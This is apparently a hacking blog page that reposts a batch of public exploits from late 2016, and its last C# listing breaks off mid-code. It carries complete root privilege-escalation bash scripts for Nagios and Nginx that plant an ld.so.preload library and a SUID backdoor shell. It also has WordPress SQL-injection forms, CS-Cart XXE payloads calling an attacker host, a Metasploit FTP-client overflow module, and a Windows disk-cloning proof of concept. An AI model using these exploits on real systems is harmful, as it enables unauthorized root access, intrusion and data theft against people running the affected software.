Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863587952

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Affected Product:    Nagios 4
Vulnerability Type:   root privilege escalation
Fixed in Version: N/A
Vendor Website:      	https://www.nagios.com/
Software Link: : 	https://sourceforge.net/projects/nagios/files/latest/download?source=directory-featured
Affected Version: 4.2.2 and prior
Tested on: Ubuntu
Remote Exploitable:  No
Reported to vendor:  8 november 2016
Disclosed to public: 
Release mode:        Responsible Disclosure
CVE-2016-8641 Nagios 4.2.2 - root privilege escalation
Credits:   Vincent Malguy


Description (from wikipedia) :
Nagios /ˈnɑːɡiːoʊs/, now known as Nagios Core, is a free and open source computer-software application that monitors systems, networks and infrastructure. Nagios offers monitoring and alerting services for servers, switches, applications and services. It alerts users when things go wrong and alerts them a second time when the problem has been resolved.

********************* CVE-2016-8641 Nagios 4.2.2 - root privilege escalation  *********************
Using official installation instruction  at https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/4/en/quickstart-ubuntu.html,
nagios' user is create with a shell :

Create a new nagios user account and give it a password.
/usr/sbin/useradd -m -s /bin/bash nagios

leading to a  entry in /etc/passwd like this "nagios:x:1001:1001::/home/nagios:/bin/bash"

This means that if someone has access to the nagios account, he can access any files own by nagios.

The Nagios startup script, run by root, is insecurely giving owner of file to nagios use :
(/etc/init.d/nagios: line 190)
touch $NagiosRunFile
chown $NagiosUser:$NagiosGroup $NagiosRunFile $NagiosVarDir/nagios.log $NagiosRetentionFile

If Nagios user symlink $NagiosRunFile to a file that he has no access to, at startup or reboot   of the nagios daemon, the init script with give him ownership of the linked file.


Exploit :
#!/bin/bash -p
#



TARGETSERVICE="Nagios"
LOWUSER="nagios"
TARGETPATH="/usr/local/nagios/var/nagios.lock"

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/rootbackdoor"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
# Cleanup
echo -e "\n[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $TARGETPATH
touch $TARGETPATH
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload
fi
echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1
}

function ctrl_c() {
        echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
cleanexit 0
}

#intro
echo -e "\033[94m \nNagios - Root Privilege Escalation PoC Exploit \nNagios-chowned.sh (ver. 1.0)\n\nCVE-2016-XXXX \n"
echo -e "Discovered by: Vincent Malguy\n Original exploit code borrow from Dawid Golunski http://legalhackers.com (Thanks!)\033[0m"


# Priv check

echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"
id | grep -q ${LOWUSER}
if [ $? -ne 0 ]; then
echo -e "\n[!] You need to execute the exploit as ${LOWUSER} user! Exiting.\n"
exit 3
fi


echo -e "\n[+] Target ${LOWUSER} file set to $TARGETPATH "

# [ Active exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>

uid_t geteuid(void) {
static uid_t  (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
//unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit 2;
fi


# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
exit 2
fi

# Symlink the log file to /etc
rm -f $TARGETPATH && ln -s /etc/ld.so.preload $TARGETPATH
if [ $? -ne 0 ]; then
echo -e "\n[!] Couldn't remove the $TARGETPATH file or create a symlink."
cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $TARGETPATH`"

# Kill target service if possible
#echo -ne "\n[+] Killing ${TARGETSERVICE}...\n"
#killall ${TARGETSERVICE}



# Wait for target service startup to re-create target file
echo -ne "\n[+] Waiting for ${TARGETSERVICE} startup to re-create the ${TARGETPATH}...\n"

while :; do
# if target file can be recreated by target process (like logs files), we need to keep remove and link it
rm -f $TARGETPATH && ln -s /etc/ld.so.preload $TARGETPATH
sleep 0.1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
rm -f $TARGETPATH
break;
fi
done

# /etc/ld.so.preload dir should be owned by our low priv controled  user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] ${TARGETSERVICE} restarted. The /etc/ld.so.preload file got created with ${LOWUSER} privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null


# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
echo -e "\n\033[94mGot root! The ${TARGETSERVICE} server has been ch-OWNED !\033[0m"
else
echo -e "\n[!] Failed to get root"
cleanexit 2
fi


# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p

# Job done.
cleanexit 0
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=948

In Chakra, function calls can sometimes take an extra internal argument, using the flag CallFlags_ExtraArg. The global eval function makes assumptions about the type of this extra arg, and casts it to a FrameDisplay object. If eval is called from a location in code where an extra parameter is added, for example, a Proxy function trap, and the extra parameter is of a different type, this can lead to type confusion. A full PoC is as follows and attached:

var p = new Proxy(eval, {});
p("alert(\"e\")"); 
-->

<html>
<body>
<script>
var p = new Proxy(eval, {});
p("alert(\"e\")");
</script>
</body>
</html>
            
# Exploit Title: Sirv 1.3.1 Plugin For WordPress Sql Injection
# Date: 10/11/2016
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/sirv/
# Software Link: https://wordpress.org/plugins/sirv/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.3.1
# Tested on: Windows 8.1


1 - Description

$_POST[ ‘id’ ] is not escaped. sirv_get_row_by_id() is accessible for every
registered user.

http://lenonleite.com.br/en/blog/2016/11/10/sirv-1-3-1-plugin-for-wordpress/

2. Proof of Concept

Login as regular user.

<form method="post" action="http://target/wp-admin/admin-ajax.php">
    <input type="text" name="row_id" value="0 UNION SELECT 1, name,slug, term_group, 6, 7, 8, 9, 10, 11, 12 FROM wp_terms WHERE term_id=1">
    <input type="text" name="action" value="sirv_get_row_by_id">
    <input type="submit" value="Send">
</form>

 3. Solution:

Update to version 1.3.2

-- 
Atenciosamente

Lenon Leite
            
# Exploit Title: Answer My Question 1.3 Plugin for WordPress – Sql Injection
# Date: 10/11/2016
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/answer-my-question/
# Software Link: https://wordpress.org/plugins/answer-my-question/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.3
# Tested on: Windows 8.1

1 - Description

$_POST['id'] is not escaped. Url is accessible for any user.

http://lenonleite.com.br/en/blog/2016/11/11/answer-my-question-1-3-plugin-for-wordpress-sql-injection/

2 - Proof of Concept

<form method="post" action="http://localhost:1406/wp/wp-content/plugins/answer-my-question/modal.php">
    <input type="text" name="id" value="0 UNION SELECT 1,2,3,4,5,6,slug,term_group,name,10,11,12 FROM wp_terms WHERE term_id=1">
    <input type="submit" value="Send">
</form>

3. Solution


-- 
Atenciosamente

Lenon Leite
            
# Software : CS-Cart <= 4.3.10
# Vendor home : cs-cart.com
# Author : Ahmed Sultan (@0x4148)
# Home : 0x4148.com
# Email : 0x4148@gmail.com
# Tested on : apache on windoes with php 5.4.4 / apache on linux with php <5.2.17

From vendor site
CS-Cart is an impressive platform for users to any level of eCommerce
experience.
With loads of features at a great price, CS-Cart is a great shopping cart
solution that will quickly enable your online store to do business.

XXE I : Twimgo addon
app/addons/twigmo/Twigmo/Api/ApiData.php
Line 131
public static function parseDocument($data, $format =
TWG_DEFAULT_DATA_FORMAT)
{
if ($format == 'xml') {
$result = @simplexml_load_string($data, 'SimpleXMLElement',
LIBXML_NOCDATA);
return self::getObjectAsArray($result);
} elseif ($format == 'jsonp') {
return (array) json_decode($data, true);
} elseif ($format == 'json') {
return (array) json_decode($data, true);
}

return false;
}
POC
<?php
$xml="
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM 'http://YOUR_HOST/0x4148.jnk' >]>
<document>
<Author>Ahmed sultan (0x4148)</Author>
<killit>&xxe;</killit>
</document>
";
echo rawurlencode(base64_encode($xml));
?>

change YOUR_HOST to your server address , use the output in the following
POST request
Action -> HOST/cs-cart/index.php?dispatch=twigmo.post
Data -> action=add_to_cart&data=DATA_OUT_PUT_HERE&format=xml
a GET request will be sent to your webserver from the vulnerable host
indicating successful attack
(Require twimgo addon to be activated)

XXE II : Amazon payment
File : app/payments/amazon/amazon_callback.php
Line 16
use Tygh\Registry;

if (!defined('BOOTSTRAP')) { die('Access denied'); }

include_once (Registry::get('config.dir.payments') .
'amazon/amazon_func.php');

fn_define('AMAZON_ORDER_DATA', 'Z');

if (!empty($_POST['order-calculations-request'])) {
$xml_response = $_POST['order-calculations-request'];

} elseif (!empty($_POST['NotificationData'])) {
$xml_response = $_POST['NotificationData'];
}

if (!empty($_POST['order-calculations-error'])) {
// Process the Amazon callback error
$xml_error = $_POST['order-calculations-error'];
$xml = @simplexml_load_string($xml_error);
if (empty($xml)) {
$xml = @simplexml_load_string(stripslashes($xml_error));
}

// Get error message
$code = (string) $xml->OrderCalculationsErrorCode;
$message = (string) $xml->OrderCalculationsErrorMessage;

POC
sending POST request to
app/payments/amazon/amazon_checkout.php
setting POST parameter order-calculations-request to
<?xml version='1.0'?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://host/amazon.jnk" >]>
<document>
<Author>Ahmed sultan (0x4148)</Author>
<killit>%26xxe%3b</killit>
</document>

Will result in an GET request to your host from the vulnerable machine ,
indicating successful attack
(Require amazon payment method to be activated)


Disclosure time line
10/11 vulnerabilities reported to the vendor
11/11 Vendor asked for extra details
12/11 Vendor acknowledged the validity of vulnerabilities and asked for
time to fix
16/11 vendor permitted public release

Reference
https://0x4148.com/2016/11/10/cs-cart/
            
#!/bin/bash
#
# Nginx (Debian-based distros + Gentoo) - Root Privilege Escalation PoC Exploit
# nginxed-root.sh (ver. 1.0)
#
# CVE-2016-1247
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# ---
# This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu
# as well as Gentoo etc.) to escalate their privileges from nginx web server user 
# (www-data) to root through unsafe error log handling.
#
# The exploit waits for Nginx server to be restarted or receive a USR1 signal.
# On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)
# script which is called daily by the cron.daily on default installations.
# The restart should take place at 6:25am which is when cron.daily executes.
# Attackers can therefore get a root shell automatically in 24h at most without any admin
# interaction just by letting the exploit run till 6:25am assuming that daily logrotation 
# has been configured. 
#
#
# Exploit usage:
# ./nginxed-root.sh path_to_nginx_error.log 
#
# To trigger logrotation for testing the exploit, you can run the following command:
#
# /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
# Video PoC:
# https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nginxrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
	# Cleanup 
	echo -e "\n[+] Cleaning up..."
	rm -f $PRIVESCSRC
	rm -f $PRIVESCLIB
	rm -f $ERRORLOG
	touch $ERRORLOG
	if [ -f /etc/ld.so.preload ]; then
		echo -n > /etc/ld.so.preload
	fi
	echo -e "\n[+] Job done. Exiting with code $1 \n"
	exit $1
}

function ctrl_c() {
        echo -e "\n[+] Ctrl+C pressed"
	cleanexit 0
}

#intro 

cat <<_eascii_
 _______________________________
< Is your server (N)jinxed ? ;o >
 -------------------------------
           \ 
            \          __---__
                    _-       /--______
               __--( /     \ )XXXXXXXXXXX\v.  
             .-XXX(   O   O  )XXXXXXXXXXXXXXX- 
            /XXX(       U     )        XXXXXXX\ 
          /XXXXX(              )--_  XXXXXXXXXXX\ 
         /XXXXX/ (      O     )   XXXXXX   \XXXXX\ 
         XXXXX/   /            XXXXXX   \__ \XXXXX
         XXXXXX__/          XXXXXX         \__---->
 ---___  XXX__/          XXXXXX      \__         /
   \-  --__/   ___/\  XXXXXX            /  ___--/=
    \-\    ___/    XXXXXX              '--- XXXXXX
       \-\/XXX\ XXXXXX                      /XXXXX
         \XXXXXXXXX   \                    /XXXXX/
          \XXXXXX      >                 _/XXXXX/
            \XXXXX--__/              __-- XXXX/
             -XXXXXXXX---------------  XXXXXX-
                \XXXXXXXXXXXXXXXXXXXXXXXXXX/
                  ""VXXXXXXXXXXXXXXXXXXV""
_eascii_

echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"

# Args
if [ $# -lt 1 ]; then
	echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
	echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
	exit 3
fi

# Priv check

echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
id | grep -q www-data
if [ $? -ne 0 ]; then
	echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"
	exit 3
fi

# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
	echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"
	exit 3
fi

# [ Exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>

uid_t geteuid(void) {
	static uid_t  (*old_geteuid)();
	old_geteuid = dlsym(RTLD_NEXT, "geteuid");
	if ( old_geteuid() == 0 ) {
		chown("$BACKDOORPATH", 0, 0);
		chmod("$BACKDOORPATH", 04777);
		unlink("/etc/ld.so.preload");
	}
	return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
	echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
	cleanexit 2;
fi


# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
	echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
	exit 2
fi

# Symlink the log file
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
	echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
	cleanexit 3
fi
echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"

# Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered
curl http://localhost/ >/dev/null 2>/dev/null
# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily 
# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)
echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
while :; do 
	sleep 1
	if [ -f /etc/ld.so.preload ]; then
		echo $PRIVESCLIB > /etc/ld.so.preload
		rm -f $ERRORLOG
		break;
	fi
done

# /etc/ld.so.preload should be owned by www-data user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then 
	echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
	echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m"
else
	echo -e "\n[!] Failed to get root"
	cleanexit 2
fi

rm -f $ERRORLOG
echo > $ERRORLOG
 
# Use the rootshell to perform cleanup that requires root privilges
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
# Reset the logging to error.log
$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"

# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -i

# Job done.
cleanexit 0
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::FtpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WinaXe 7.7 FTP Client Remote Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in the WinaXe 7.7 FTP client.
        This issue is triggered when a client connects to the server and is
        expecting the Server Ready response.
      },
      'Author' =>
        [
          'Chris Higgins',  # msf Module -- @ch1gg1ns
          'hyp3rlinx'        # Original discovery
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'EDB', '40693'],
          [ 'URL', 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00\x0a\x0d"
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal',
            {
              'Offset' => 2065,
              'Ret' => 0x68017296 # push esp # ret 0x04 WCMDPA10.dll
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Nov 03 2016',
      'DefaultTarget'  => 0))
  end

  def on_client_unknown_command(c, _cmd, _arg)
    c.put("200 OK\r\n")
  end

  def on_client_connect(c)
      print_status("Client connected...")

      sploit =  rand_text(target['Offset'])
      sploit << [target.ret].pack('V')
      sploit << make_nops(10)
      sploit << payload.encoded
      sploit << make_nops(20)

      c.put("220" + sploit + "\r\n")
      c.close
  end

end
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=874

We have encountered a Windows kernel crash in the nt!RtlEqualSid function invoked through nt!SeAccessCheck by nt!CmpCheckSecurityCellAccess while loading corrupted registry hive files. An example of a crash log excerpt generated after triggering the bug is shown below:

---
PAGE_FAULT_BEYOND_END_OF_ALLOCATION (cd)
N bytes of memory was allocated and more than N bytes are being referenced.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: a1f11004, memory referenced
Arg2: 00000000, value 0 = read operation, 1 = write operation
Arg3: 816d40b3, if non-zero, the address which referenced memory.
Arg4: 00000000, Mm internal code.

Debugging Details:
------------------

[...]

STACK_TEXT:  
92bbb5e4 816f92b9 a1f11004 83af4ff0 92bbb6ac nt!RtlEqualSid+0x9
92bbb604 816d3292 00000000 20204d43 00000000 nt!RtlpOwnerAcesPresent+0x87
92bbb634 816d3cfe a1f10f50 00000001 00bbb6b0 nt!SeAccessCheckWithHint+0x178
92bbb668 818f8ff8 a1f10f50 92bbb6b0 00000000 nt!SeAccessCheck+0x2a
92bbb6c0 81820906 a75e69c8 000051d8 00000001 nt!CmpCheckSecurityCellAccess+0xe5
92bbb6fc 818206ad 03010001 92bbb728 92bbb718 nt!CmpValidateHiveSecurityDescriptors+0x1bd
92bbb73c 8182308f 03010001 80000588 8000054c nt!CmCheckRegistry+0xd8
92bbb798 817f6fa0 92bbb828 00000002 00000000 nt!CmpInitializeHive+0x55c
92bbb85c 817f7d85 92bbbbb8 00000000 92bbb9f4 nt!CmpInitHiveFromFile+0x1be
92bbb9c0 817ffaae 92bbbbb8 92bbba88 92bbba0c nt!CmpCmdHiveOpen+0x50
92bbbacc 817f83b8 92bbbb90 92bbbbb8 00000010 nt!CmLoadKey+0x459
92bbbc0c 8168edc6 0014f8a4 00000000 00000010 nt!NtLoadKeyEx+0x56c
92bbbc0c 77cc6bf4 0014f8a4 00000000 00000010 nt!KiSystemServicePostCall
WARNING: Frame IP not in any known module. Following frames may be wrong.
0014f90c 00000000 00000000 00000000 00000000 0x77cc6bf4

[...]

FOLLOWUP_IP: 
nt!RtlEqualSid+9
816d40b3 668b06          mov     ax,word ptr [esi]
---

The issue reproduces on Windows 7. It is easiest to reproduce with Special Pools enabled for the NT kernel (leading to an immediate crash when the bug is triggered), but it is also possible to observe a crash on a default Windows installation. In order to reproduce the problem with the provided sample, it is necessary to load it with a dedicated program which calls the RegLoadAppKey() API.

3 samples attached with single-byte differences compared to the original file, and the base sample itself.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40766.zip
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=916

Windows: VHDMP Arbitrary Physical Disk Cloning EoP
Platform: Windows 10 10586. No idea about 14393, 7 or 8.1 versions.
Class: Elevation of Privilege

Summary:
The VHDMP driver doesn’t open physical disk drives securely when creating a new VHD leading to information disclosure and EoP by allowing a user to access data they’re shouldn’t have access to.

Description:

The VHDMP driver is used to mount VHD and ISO files so that they can be accessed as a normal mounted volume. When creating a new VHD it’s possible to specify a physical drive to clone from, you’d assume that this feature would be limited to only administrators as accessing a physical disk for read access is limited to administrators group and system. However when calling VhdmpiTryOpenPhysicalDisk the driver uses ZwOpenFile and doesn’t specify the OBJ_FORCE_ACCESS_CHECK flag. As no other administrator checks are done this means that a normal user can clone the physical disk to another file which they can read, to bypass DACL checks on NTFS and extract data such as the SAM hive. 

Proof of Concept:

I’ve provided a PoC as a C# source code file. You need to compile with .NET 4 or higher. It will create a new VHDX from a specified physical drive. Note as this is a physical clone it’ll presumably not bypass Bitlocker, but that’s not likely to be a major issue in a lot of cases.

1) Compile the C# source code file.
2) Execute the poc on Win 10 passing the path to the vhd file to create and the physical drive index of the drive to clone. If you run without arguments it’ll print which drives are available. You probably want to clone one drive to another otherwise you’d likely run out of space (and of course have enough space). It also should work to copy the vhd out to a network share.
3) It should print that it created the clone of the drive. If you now mount that VHD somewhere else it should contain the original file systems of the original disk.

Expected Result:
The VHD creation fails with access denied.

Observed Result:
The physical disk is cloned successfully.
*/

using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Management;
using System.Runtime.InteropServices;
using System.Linq;

namespace Poc
{
    class Program
    {
        enum StorageDeviceType
        {
            Unknown = 0,
            Iso = 1,
            Vhd = 2,
            Vhdx = 3,
            VhdSet = 4,
        }

        [StructLayout(LayoutKind.Sequential)]
        struct VirtualStorageType
        {
            public StorageDeviceType DeviceId;
            public Guid VendorId;
        }

        enum OpenVirtualDiskFlag
        {
            None = 0,
            NoParents = 1,
            BlankFile = 2,
            BootDrive = 4,
            CachedIo = 8,
            DiffChain = 0x10,
            ParentcachedIo = 0x20,
            VhdSetFileOnly = 0x40,
        }

        enum CreateVirtualDiskVersion
        {
            Unspecified = 0,
            Version1 = 1,
            Version2 = 2,
            Version3 = 3,
        }
            
        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
        struct CreateVirtualDiskParameters
        {            
            public CreateVirtualDiskVersion Version;
            public Guid UniqueId;
            public ulong MaximumSize;
            public uint BlockSizeInBytes;
            public uint SectorSizeInBytes;            
            [MarshalAs(UnmanagedType.LPWStr)]
            public string ParentPath;
            [MarshalAs(UnmanagedType.LPWStr)]
            public string SourcePath;            
        }

        enum VirtualDiskAccessMask
        {
            None = 0,
            AttachRo = 0x00010000,
            AttachRw = 0x00020000,
            Detach = 0x00040000,
            GetInfo = 0x00080000,
            Create = 0x00100000,
            MetaOps = 0x00200000,
            Read = 0x000d0000,
            All = 0x003f0000
        }

        enum CreateVirtualDiskFlag
        {
            None = 0x0,
            FullPhysicalAllocation = 0x1,
            PreventWritesToSourceDisk = 0x2,
            DoNotcopyMetadataFromParent = 0x4,
            CreateBackingStorage = 0x8,
            UseChangeTrackingSourceLimit = 0x10,
            PreserveParentChangeTrackingState = 0x20,
        }        

        [DllImport("virtdisk.dll", CharSet=CharSet.Unicode)]
        static extern int CreateVirtualDisk(
            [In] ref VirtualStorageType VirtualStorageType,
            string Path,
            VirtualDiskAccessMask        VirtualDiskAccessMask,
            [In] byte[] SecurityDescriptor,
            CreateVirtualDiskFlag        Flags,
            uint ProviderSpecificFlags,
            [In] ref CreateVirtualDiskParameters Parameters,
            IntPtr  Overlapped,
            out IntPtr Handle
        );

        static Guid GUID_DEVINTERFACE_SURFACE_VIRTUAL_DRIVE = new Guid("2E34D650-5819-42CA-84AE-D30803BAE505");
        static Guid VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT = new Guid("EC984AEC-A0F9-47E9-901F-71415A66345B");

        class PhysicalDisk
        {
            public uint Index { get; private set; }
            public string Name { get; private set; }
            public uint SectorSizeInBytes { get; private set; }
            public ulong SizeInBytes { get; private set; }            
            public string Model { get; private set; }

            public PhysicalDisk(ManagementObject wmi_object)
            {
                Index = (uint)wmi_object["Index"];
                Name = (string)wmi_object["DeviceId"];
                SectorSizeInBytes = (uint)wmi_object["BytesPerSector"];
                SizeInBytes = (ulong)wmi_object["Size"];                
                Model = (string)wmi_object["Model"];
            }

            static string FormatHuman(ulong l)
            {
                if (l < 1000 * 1000)
                    return l.ToString();

                l = l / (1000 * 1000);
                if (l < 1000)
                    return String.Format("{0}MB", l);

                l = l / (1000);
                if (l < 1000)
                    return String.Format("{0}GB", l);

                l = l / (1000);
                if (l < 1000)
                    return String.Format("{0}TB", l);

                return l.ToString();
            }

            public override string ToString()
            {
                return String.Format("{0}: Name={1}, Model={2}, Size={3}", Index, Name, Model, FormatHuman(SizeInBytes));
            }

            public static IEnumerable<PhysicalDisk> GetDisks()
            {
                SelectQuery selectQuery = new SelectQuery("Win32_DiskDrive");
                ManagementObjectSearcher searcher =
                    new ManagementObjectSearcher(selectQuery);
                foreach (ManagementObject disk in searcher.Get())
                {
                    yield return new PhysicalDisk(disk);
                }
            }
        }

        static PhysicalDisk GetPhysicalDisk(uint index)
        {
            PhysicalDisk disk = PhysicalDisk.GetDisks().First(d => d.Index == index);

            if (disk == null)
                throw new InvalidOperationException(String.Format("Can't find physical disk index {0}", index));

            return disk;
        }

        static void PrintPhysicalDisks()
        {
            foreach (PhysicalDisk disk in PhysicalDisk.GetDisks())
            {
                Console.WriteLine(disk);
            }            
        }

        static SafeFileHandle CreateVHD(string path, PhysicalDisk disk)
        {
            VirtualStorageType vhd_type = new VirtualStorageType();
            vhd_type.DeviceId = StorageDeviceType.Vhdx;
            vhd_type.VendorId = VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT;

            CreateVirtualDiskParameters ps = new CreateVirtualDiskParameters();
            ps.Version = CreateVirtualDiskVersion.Version1;
            ps.SectorSizeInBytes = disk.SectorSizeInBytes;
            ps.MaximumSize = disk.SizeInBytes + (100 * 1024 * 1024);
            ps.SourcePath = disk.Name;
